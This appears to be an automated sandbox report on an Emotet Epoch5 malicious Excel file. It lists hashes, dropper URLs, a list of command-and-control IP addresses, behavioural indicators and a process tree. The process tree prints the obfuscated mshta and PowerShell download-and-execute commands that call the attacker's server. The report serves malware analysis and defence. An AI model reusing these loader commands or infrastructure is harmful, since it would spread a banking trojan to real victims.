emotet | 9ef206317a5d73fdc1952f2c0d24d83f943901c31e1dd2f18f8a5e296cc54e24

Analysis

max time kernel
120s
max time network
156s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 03:45

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General

Target
tmplc7cyr5i.xls
Size 35KB
Sample220128-ea47wafbfq
SHA256 9ef206317a5d73fdc1952f2c0d24d83f943901c31e1dd2f18f8a5e296cc54e24
MD5 b6f2dafbf59d034c46677bb3494d7c22
SHA1 b517dc7d6a2445839ec8880c61256af521b9954c
SHA512 a6883f218d76fb02eb5022848312559efbee751bd279229f1529fd4de933dc0182653f922698661363c08c7e9522cd98fad96add682e51fff4f86893e7de3e83
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/oo/aa/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1428	2368	CMD.EXE	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
39	2724	mshta.exe
42	2588	powershell.exe
44	2588	powershell.exe
46	2588	powershell.exe
51	2800	rundll32.exe
52	2800	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3264	rundll32.exe
700	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Hpoxvn\ziszqvvbxdfvegj.zsf	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3764	2724	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2368	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2588	powershell.exe
2588	powershell.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
2588	powershell.exe
2800	rundll32.exe
2800	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	3764	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 1428	2368	EXCEL.EXE	72
PID 2368 wrote to memory of 1428	2368	EXCEL.EXE	72
PID 1428 wrote to memory of 2724	1428	CMD.EXE	74
PID 1428 wrote to memory of 2724	1428	CMD.EXE	74
PID 2724 wrote to memory of 2588	2724	mshta.exe	76
PID 2724 wrote to memory of 2588	2724	mshta.exe	76
PID 2588 wrote to memory of 4040	2588	powershell.exe	79
PID 2588 wrote to memory of 4040	2588	powershell.exe	79
PID 4040 wrote to memory of 3264	4040	cmd.exe	80
PID 4040 wrote to memory of 3264	4040	cmd.exe	80
PID 4040 wrote to memory of 3264	4040	cmd.exe	80
PID 3264 wrote to memory of 700	3264	rundll32.exe	81
PID 3264 wrote to memory of 700	3264	rundll32.exe	81
PID 3264 wrote to memory of 700	3264	rundll32.exe	81
PID 700 wrote to memory of 3924	700	rundll32.exe	84
PID 700 wrote to memory of 3924	700	rundll32.exe	84
PID 700 wrote to memory of 3924	700	rundll32.exe	84
PID 3924 wrote to memory of 2800	3924	rundll32.exe	85
PID 3924 wrote to memory of 2800	3924	rundll32.exe	85
PID 3924 wrote to memory of 2800	3924	rundll32.exe	85

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmplc7cyr5i.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/oo/aa/se.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2588
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4040
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3264
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:700
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hpoxvn\ziszqvvbxdfvegj.zsf",rEUOVFimIGt
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3924
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hpoxvn\ziszqvvbxdfvegj.zsf",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2800
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2724 -s 2296
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/700-1640-0x0000000005020000-0x0000000005047000-memory.dmp

Download

memory/700-1635-0x0000000004900000-0x0000000004927000-memory.dmp

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memory/700-1653-0x00000000053F0000-0x0000000005417000-memory.dmp

Download

memory/700-1646-0x0000000005240000-0x0000000005267000-memory.dmp

Download

memory/700-1644-0x00000000051E0000-0x0000000005207000-memory.dmp

Download

memory/700-1642-0x0000000005180000-0x00000000051A7000-memory.dmp

Download

memory/700-1638-0x0000000004F40000-0x0000000004F67000-memory.dmp

Download

memory/2368-116-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

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memory/2368-119-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

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memory/2368-115-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

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memory/2588-1575-0x000002036DF63000-0x000002036DF65000-memory.dmp

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memory/2588-1574-0x000002036DF60000-0x000002036DF62000-memory.dmp

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memory/2588-1611-0x000002036DF66000-0x000002036DF68000-memory.dmp

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memory/2588-1606-0x000002036E7E0000-0x000002036E856000-memory.dmp

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memory/2588-1595-0x000002036E720000-0x000002036E75C000-memory.dmp

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memory/2588-1576-0x000002036E140000-0x000002036E162000-memory.dmp

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memory/2800-1657-0x0000000005040000-0x0000000005067000-memory.dmp

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memory/3264-1632-0x0000000002E50000-0x0000000002E77000-memory.dmp

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